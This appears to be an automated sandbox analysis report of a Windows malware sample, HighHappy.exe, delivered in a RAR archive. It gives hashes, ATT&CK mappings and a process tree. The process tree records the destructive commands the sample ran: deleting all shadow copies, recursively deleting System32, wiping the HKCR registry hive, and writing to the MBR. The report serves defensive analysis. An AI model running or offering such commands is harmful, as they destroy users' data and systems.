Analysis
- user interaction
yes - max time kernel
45s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/10/2026, 17:14
Static task
static1
Behavioral task
behavioral1
Sample
VIRUS shadow.rar
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
VIRUS shadow.rar
Resource
win11ltsc2024-20260911-en
General
- Target VIRUS shadow.rar
- Size 2.9MB
- Sample261017-vr856aay5x
- SHA256 a3bb6c119965ee080681228ee2fdb2336c80810c9a21bef870a7853cb0682f4a
- MD5 3b19e39b43d8c55ade733e90720164a5
- SHA1 86f0ed0c1dc732cb692a808c7c779c0bfcc1e637
- SHA512 03813b0a6114e5cce1f5e86aed75d20282ad7211868046c78a08dfad7b68a8f799fdc2bc49da2b58c9619de4a5c0d7056e5fc249c09a5ccc0f2deeea1aa194d0
- SSDEEP 49152:zMND0Mx4nHuslvigXdaeumeyJwgArRtLpmnbPtEffopggj4g0MEZmfP/Yj:zKvxYOYvigtazXRgAdxpmnbt8cj4g/ef
- TLSH T1B4E533AA380E5928E6D089BDB31442F00A2DE3558D10AC7B7557F968CE9C7F462D63F3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Disables Task Manager via registry modification
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 1 IoCs
pid Process 296 HighHappy.exe - Modifies system executable filetype association 2 TTPs 34 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\PintoStartScreen reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 HighHappy.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 752 cmd.exe 3248 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HighHappy.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Diagnostic.Config\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Template.8\shell\OpenAsReadOnly\command reg.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\ActivatableClassId\Windows.Networking.BackgroundTransfer.Internal.Backgroun reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C0398-0000-0000-C000-000000000046}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\{a2a9545d-a0c2-42b4-9708-a0b2badd77c8} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.MTS\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F96464-78F3-11D0-A18C-00A0C9118956} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CompressedFolder\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CompressedFolder\ShellEx\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0002E161-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AcroBroker.Broker.1\CLSID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F4754C9B-64F5-4B40-8AF4-679732AC0607}\Verb\0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.eps reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.rc\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3050F3E9-98B5-11CF-BB82-00AA00BDCE0B}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\feeds\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeAdditional_amd64,v11\Dependents\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\44DB0475D85BA123FA0CD6D35465DDC6 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.docm\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{da4e3da0-d07d-11d0-bd50-00a0c911ce86}\Instance\{2EB07EA0-7E70-11D0-A5D6-28DB04C10000} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.8\shell\New reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shell\LaunchWorkfoldersControl reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00030001-0000-0000-C000-000000000046}\TreatAs reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{65235197-874B-4A07-BDC5-E65EA825B718}\LocalServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E421557C-0628-43FB-BF2B-7C9F8A4D067C} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Patches\68AB67CA7DA700005205CA31A0E45600\SourceList\Media reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{83C25742-A9F7-49FB-9138-434302C88D07} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.CSV\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\DesktopBackground\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\{a2a9545d-a0c2-42b4-9708-a0b2badd77c8} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{82B02373-B5BC-11CF-810F-00A0C9030074}\InprocServer32\11.0.0.0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.jfif\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.msp reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C100BEDE-D33A-4a4b-BF23-BBEF4663D017}\InProcServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EABCECDB-CC1C-4A6F-B4E3-7F888A5ADFC8}\Conversion\Readable reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shell\find reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{083863F1-70DE-11D0-BD40-00A0C911CE86}\Instance\{301056D0-6DFF-11D2-9EEB-006008039E37} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{942bc614-676c-464e-b384-d3202aaa02da} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1588C1A8-27D9-563E-9641-8D20767FB258} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpeg\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.rar\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3050F26B-98B5-11CF-BB82-00AA00BDCE0B}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F4754C9B-64F5-4B40-8AF4-679732AC0607}\LocalServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0108916D-9E9A-4AF6-8DA3-60493B19C204} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\accountpicturefile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AtWorkRendering\shell\PrintTo\command reg.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\ProgID reg.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Application.Reference reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\vlc.exe\shell\Open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5AAABB05-F91B-4bce-AB18-D8319DEDABA8}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C038E-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mp4v\ShellEx\{e357fccd-a995-4576-b01f-234630154e96} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{24DA047B-40C0-4018-841B-6B7409F730FC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{261B8CA9-3BAF-4BD0-B0C2-BF04286785C6} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Forms.ComboBox.1 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Forms.ScrollBar.1\CLSID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{230A0071-62EF-4CAE-AAC0-8988C37024BF} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\7-Zip.tgz\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\cmdfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mhtml\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppX4jbzrhvphxte25e0gxha6bq555nrgqzy\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.8\shell\Printto reg.exe - Suspicious behavior: EnumeratesProcesses 41 IoCs
pid Process 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe 296 HighHappy.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4884 7zFM.exe - Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeRestorePrivilege 4884 7zFM.exe Token: 35 4884 7zFM.exe Token: SeSecurityPrivilege 4884 7zFM.exe Token: SeDebugPrivilege 296 HighHappy.exe Token: SeDebugPrivilege 296 HighHappy.exe Token: 33 3508 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 3508 AUDIODG.EXE - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4884 7zFM.exe 4884 7zFM.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4884 wrote to memory of 296 4884 7zFM.exe 91 PID 296 wrote to memory of 752 296 HighHappy.exe 92 PID 296 wrote to memory of 4724 296 HighHappy.exe 95 PID 296 wrote to memory of 3248 296 HighHappy.exe 96 PID 3248 wrote to memory of 2852 3248 cmd.exe 99
Processes
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C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUS shadow.rar"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Users\Admin\AppData\Local\Temp\7zO41383099\HighHappy.exe"C:\Users\Admin\AppData\Local\Temp\7zO41383099\HighHappy.exe"2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C vssadmin delete shadows /for=C: /all3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:752
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c del /s /q "C:\Windows\System32"3⤵
- System Location Discovery: System Language Discovery
PID:4724
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\SysWOW64\reg.exereg delete HKCR /f4⤵
- Modifies system executable filetype association
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2852
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004D81⤵
- Suspicious use of AdjustPrivilegeToken
PID:3508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4776
Network
MITRE ATT&CK Enterprise v16
Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Defense Evasion
Indicator Removal
1File Deletion
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\7zO41383099\HighHappy.exe
- Size 82KB
- SHA256 0f9617c86fd1a744a7185e1060b928cd05ddd63c70633dbe847d5582e60101fe
- MD5 788b0974f73acea93c7af807cbec1317
- SHA1 8a5482beb542396efef378d2556698ba4aebf363
- SHA512 487bab2035cef1a90f8c1f619af9b57784a4203b6291ef871db2340437f24184825ca931cb64f9fc58ebcc8b51e428f1261e8ff040cac2e919a285d00f8f1051
- SSDEEP 1536:KahfyS/+TAODerDpbuEpPEUwsbuUrVzBq05j9aJggFSoHdduVm0A9SBwwVcl:KahfyS/+TAODer9bFpPEobbxN5M2gFSM
- TLSH T1F283A1557394E65AC4231735D991D3F4A730DD85EA46C34B36E8BE2B3EBD2E28E412C0
- MD5 SHA1 SHA512 SSDEEP TLSH